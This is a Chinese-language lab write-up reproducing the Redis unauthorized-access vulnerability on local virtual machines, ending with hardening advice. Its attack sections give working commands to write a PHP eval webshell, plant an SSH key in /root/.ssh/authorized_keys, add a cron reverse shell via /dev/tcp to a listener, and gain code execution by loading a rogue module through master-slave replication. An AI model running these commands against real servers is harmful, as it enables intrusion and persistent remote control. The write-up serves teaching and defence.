redis未授权访问漏洞复现

攻击原理

Redis安装后,默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错)

漏洞的产生条件有以下两点:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

漏洞影响版本

Redis 2.x,3.x,4.x,5.x

漏洞危害

(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据

(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器

攻击复现

环境搭建

攻击机: kali 2023.1

靶机: ubuntu 22.04.2

靶机安装redis服务器(redis-server)

  1. 下载redis-4.0.10

    wget http://download.redis.io/releases/redis-4.0.10.tar.gz

  2. 解压,进入源码目录,然后编译(make、make install)

    1
    2
    3
    4
    tar -zxf redis-4.0.10.tar.gz
    cd redis-4.0.10
    make
    make install

    我这里make出现了错误,缺少gcc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    cd src && make all
    make[1]: Entering directory '/home/ubuntu/redis-4.0.11/src'
    CC adlist.o
    /bin/sh: 1: cc: not found
    Makefile:228: recipe for target 'adlist.o' failed
    make[1]: *** [adlist.o] Error 127
    make[1]: Leaving directory '/home/ubuntu/redis-4.0.11/src'
    Makefile:6: recipe for target 'all' failed
    make: *** [all] Error 2

    apt install gcc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    cd src && make all
    make[1]: Entering directory '/home/ubuntu/redis-4.0.11/src'
    CC adlist.o
    In file included from adlist.c:34:0:
    zmalloc.h:50:10: fatal error: jemalloc/jemalloc.h: No such file or directory
    #include <jemalloc/jemalloc.h>
    ^~~~~~~~~~~~~~~~~~~~~
    compilation terminated.
    Makefile:228: recipe for target 'adlist.o' failed
    make[1]: *** [adlist.o] Error 1
    make[1]: Leaving directory '/home/ubuntu/redis-4.0.11/src'

    可以通过 mkae MALLOC=libc

    需要修改配置文件redis.conf

    1
    2
    bind 0.0.0.0
    protected-mode no
  3. 启动服务(redis-server)
    启动redis服务,注意关闭防火墙,Ubuntu除了iptables机制,还有ufw安全机制

    ufw staus看是否关闭
    启动服务

    img

kali安装redis

  1. 下载redis-4.0.10(跟上面一样)//但是我用的2.8

  2. 解压,编译(跟什么一样)

  3. 测试是否能连接
    img

​ 这里连接后发现输入info报错

image-20230608110721420

​ 还是因为protected-mode原因在靶机再开一个虚拟终端

1
2
3
root@ubuntu:/data/redis-4.0.6# ./src/redis-cli
127.0.0.1:6379> CONFIG SET protected-mode no
OK

漏洞复现

测试目标靶机是否存在未授权访问

image-20230608112133014

写入webshell

利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限

img

1
2
3
4
5
config get dir 
config set dir /var/www/html/
config set dbfilename shell.php
set shell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

在写入webshell的时候,可以使用:\r\n来换行,有些redis版本写文件会自带一些版本文件,可能导致无法解析。

当数据库过大时,redis写shell:

1
2
3
4
5
6
<?php 
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>');
exit();
?>

看到靶机是否写入文件

写入ssh公钥

SSH提供两种登录验证方式:一种是口令验证也就是账号密码登录,另一种是密钥验证,这里只简单说一下密钥验证的原理。

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;

(2)客户端发起公钥认证请求,发送自己的相关信息;

(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录;若有则使用该公钥对一个随机的256位的字符串进行加密,并发送给客户端;

(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并生成一个MD5值发送给服务器端;

(5)服务器端根据原始随机字符串生成MD5值进行匹配, 确认客户端身份,若一样则允许登录,不一样则拒绝登录。

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

  1. 在攻击机上生成ssh公钥,密码设置为空 为空就是在生成公钥和私钥的过程中回车即可

    image-20230608123359005

  2. 进入/root/.ssh将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
    image-20230608123445546

​ (echo -e “\n”;cat id_rsa.pub;echo -e “\n”)>key.txt

  1. 再把key.txt文件内容写入redis缓冲

    cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub

    image-20230608123555517

  2. 设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,
    注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
    image-20230608123815826

注: 在靶机中需要开启ssh服务才行,在靶机中输入systemctl start sshd,开启ssh服务
如果没有就apt install openssh-server就行了

  1. 然后测试是否能连接
    image-20230608124200078

出现现在这个界面就进入靶机了,输入命令将是靶机的内容了

定时任务,反弹shell

  1. 在攻击机开启监听
    nc -lnvp 1234

  2. 连接redis服务器,写入反弹shell。

    1
    2
    3
    4
    SET xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.26.120/1234 0>&1\n\n"
    CONFIG SET dir /var/spool/cron
    CONFIG SET dbfilename root
    save

这个复现了很长时间o(╥﹏╥)o,配环境,

登陆ubuntu查看计划任务,已经成功写入。但是发现计划中存在乱码,也就是这些乱码导致计划任务执行错误。
这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。

动把乱码删除,发现依然无法成功反弹shell。这是为什么呢?

根据网上搜到改后配置后,连接成功

redis主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机(master),其他实例都作为备份机(slave),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

redis模块

1
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码

利用原理

1
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生。

复现kali靶机就行:

  1. 下载恶意os文件

    git clone https://github.com/RicterZ/RedisModules-ExecuteCommand

    然后编译源码make,

  2. 下载工具getshell

    git clone https://github.com/Ridter/redis-rce

    将第一步的module.so反正攻击目录下

  3. 第三步直接用脚本
    python redis-rce.py -r 127.0.0.1 -p 6307 -L 127.0.0.1 -f module.so
    image-20230612165455249

    按i进入交互式输入命令就行,重要是理解原理

    Redis主从复制手动挡

    1.使用脚本,监听本地端口1234,加载exp.so。

    1
    python RogueServer.py --lport 1234 --exp exp.so

    2、通过未授权访问连入要攻击的redis服务器。

    执行相关命令:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #设置redis的备份路径为当前目录
    config set dir ./
    #设置备份文件名为exp.so,默认为dump.rdb
    config set dbfilename exp.so
    #设置主服务器IP和端口
    slaveof 192.168.172.129 1234
    #加载恶意模块
    module load ./exp.so
    #切断主从,关闭复制功能
    slaveof no one
    #执行系统命令
    system.exec 'whoami'
    system.rev 127.0.0.1 9999
    #通过dump.rdb文件恢复数据
    config set dbfilename dump.rdb
    #删除exp.so
    system.exec 'rm ./exp.so'
    #卸载system模块的加载
    module unload system

防御措施

  1. 限制ip访问 如修改的配置文件

  2. 增加远程登录密码

  3. 禁止远程危险命令

    1
    2
    3
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""

    低权限运行Redis服务

为Redis服务创建单独的userhome目录,并且配置禁止登陆

1
groupadd -r redis && useradd -r -g redis redis

保证authorized_keys文件的安全

阻止其他用户添加新的公钥。将authorized_keys的权限设置为对拥有者只读,其他用户没有任何权限